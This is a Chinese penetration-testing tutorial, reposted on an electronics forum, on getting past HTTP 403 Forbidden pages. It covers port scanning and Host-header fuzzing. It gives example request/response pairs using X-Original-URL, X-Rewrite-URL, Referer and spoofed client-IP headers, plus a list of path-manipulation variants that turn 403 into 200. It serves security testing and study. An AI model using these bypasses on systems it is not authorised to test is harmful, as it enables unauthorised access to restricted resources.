0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

渗透测试如何利用403页面

jf_Fo0qk3ln 来源:xpshuai.cn 2023-01-05 10:11 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

0x01 前言




做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到,这里做个总结!

0x02 利用姿势




1.端口利用

扫描主机端口,找其它开放web服务的端口,访问其端口,挑软柿子。

2.修改HOST

Host在请求头中的作用:在一般情况下,几个网站可能会部署在同一个服务器上,或者几个web系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

修改客户端请求头中的Host可以通过修改Host值修改为子域名或者ip来绕过来进行绕过二级域名;首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。

3.覆盖请求URL

尝试使用X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URLX-Rewrite-URL标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK

或者:

Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK


4.Referer标头绕过

尝试使用Referer标头绕过Web服务器的限制。

介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK

或者

Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK


5.代理IP

一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-ForX-Forwared-Host等标头绕过Web服务器的限制。

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

如:

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized

Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK


6.扩展名绕过

基于扩展名,用于绕过403受限制的目录。


	

site.com/admin => 403 site.com/admin/ => 200 site.com/admin// => 200 site.com//admin// => 200 site.com/admin/* => 200 site.com/admin/*/ => 200 site.com/admin/. => 200 site.com/admin/./ => 200 site.com/./admin/./ => 200 site.com/admin/./. => 200 site.com/admin/./. => 200 site.com/admin? => 200 site.com/admin?? => 200 site.com/admin??? => 200 site.com/admin..;/ => 200 site.com/admin/..;/ => 200 site.com/%2f/admin => 200 site.com/%2e/admin => 200 site.com/admin%20/ => 200 site.com/admin%09/ => 200 site.com/%20admin%20/ => 200


7.扫描的时候 遇到403了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    13

    文章

    10094

    浏览量

    90883
  • URL
    URL
    +关注

    关注

    0

    文章

    141

    浏览量

    16108
  • 渗透
    +关注

    关注

    0

    文章

    22

    浏览量

    6490

原文标题:渗透测试如何利用403页面

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    AppGallery Connect(HarmonyOS 5及以上) --公开测试创建并发布测试版本(一)

    的“HarmonyOs”签,点击应用名称,进入“分发”页面 3.在左侧导航栏选择“应用测试 >版本列表”,进入“版本列表”页面,点击右上角“创建
    发表于 09-26 17:24

    AppTest邀请测试---创建测试群组(二)

    版本分享链接上,即可通过分享链接的方式邀请测试用户,具体可参见通过“分享链接+邀请码”邀请用户。 8.测试用户添加成功后,在测试群组管理页面可查看已添加的
    发表于 09-15 15:58

    AppTest邀请测试---创建测试群组(一)

    1.登录AppGallery Connect,选择“APP”。 2. 在应用列表的“HarmonyOS”签,点击应用名称,进入“分发”页面。 在左侧导航栏选择“应用测试 >
    发表于 09-12 16:22

    【润开鸿HH-SCDAYU800A开发板试用体验】第2個桌面簡單的程序改显示为2页面

    (){ Button(\"下一\") .onClick(()=>{ //使用router跳转 router.pushUrl({ //将要跳转页面的地址 url:\"
    发表于 07-30 10:41

    【汇思博SEEK100开发板试用体验】06 天气app--使用组件导航实现设置页面跳转

    1 前言 本次要完成组件导航跳转页面功能,实现设置和主页的跳转。 2 组件导航 (Navigation) 2.1 简介 组件导航(Navigation)主要用于实现页面间以及组件内部的页面
    发表于 07-09 16:57

    利用onPageShow实现返回刷新的操作

    进入新增贴子的页面,然后当用户输入了内容点击提交后,提示“新增成功”,并返回到列表。那么这时候,列表要做的就是刷新贴子列表,把刚才新发布的贴子显示出来。 或者 这是一个商品列表
    发表于 06-30 18:12

    《仿盒马》app开发技术分享-- 用户登陆页面(静态)(20)

    用户之间的数据并不互通,现在为了实现我们的用户绑定制度,我们需要给应用添加一个用户登陆的入口的。 功能分析 用户登陆页面的内容相对来说比较简单,我们首先要实现的就是登陆的静态页面,需要展示的内容不多
    发表于 06-30 13:15

    403 Forbidden是什么意思?最佳解决方法有哪些?

    403 Forbidden是什么意思? 403 Forbidden状态码表示当客户端(如浏览器)向服务器发送请求时,服务器会根据请求的内容、来源以及服务器的配置等因素,返回一个HTTP状态码,因为
    的头像 发表于 06-25 16:33 1.3w次阅读

    NC403(C50)高性能噪声二极管现货库存

    NC403(C50)高性能噪声二极管现货库存NC403(C50)是Noisecom推出的一款高性能微波噪声二极管,专为射频和微波应用设计。NC403(C50)采用C50封装,适用于需要表面贴装
    发表于 06-03 10:31

    如何在KaihongOS操作系统中写一个动态的页面

    的转场动效等,推荐使用Navigation。 第一个页面跳转到第二个页面。 在第一个页面中,跳转按钮绑定onClick事件,点击按钮时跳转到第二。Index.ets文件的示例
    发表于 04-25 06:42

    Allegro Skill布局功能之按摆放器件介绍

    在电路设计中,原理图中常以一个功能模块的器件绘制在同一页面上,因此,通常将器件在pcb按摆放在一起,更方便进行模块化布局。为此,Fany skill添加了将pcb中的器件按照原理图,进行分类摆放的功能。需要注意的是,此功能需
    的头像 发表于 04-23 17:10 1598次阅读
    Allegro Skill布局功能之按<b class='flag-5'>页</b>摆放器件介绍

    安全检测 高效合规 | 经纬恒润重磅推出PeneTrix渗透测试平台

    在汽车智能化进程加速的今天,汽车电子控制系统(ECU)开发与信息安全合规性验证正面临三重挑战:法规更新频繁、威胁场景日益复杂、传统渗透测试流程耗时费力。面对这些难题,经纬恒润基于多年的研发经验与技术
    的头像 发表于 03-17 17:04 1040次阅读
    安全检测 高效合规 | 经纬恒润重磅推出PeneTrix<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>平台

    LED红墨水测试

    红墨水渗透测试红墨水渗透测试(RedDyePenetrationTest),也称为LED红墨水试验,是一种用于评估电子电路板组装(PCBAssembly)中表面贴装技术(SMT)焊接质
    的头像 发表于 02-08 12:14 1282次阅读
    LED红墨水<b class='flag-5'>测试</b>

    GD32F403xx数据表

    电子发烧友网站提供《GD32F403xx数据表.pdf》资料免费下载
    发表于 01-22 17:37 0次下载
    GD32F<b class='flag-5'>403</b>xx数据表

    Web安全之渗透测试基础与实践

    在网络安全领域,Web渗透测试是发现Web应用漏洞的重要手段。下面介绍渗透测试的基础和实践。 信息收集是渗透
    的头像 发表于 01-22 09:33 648次阅读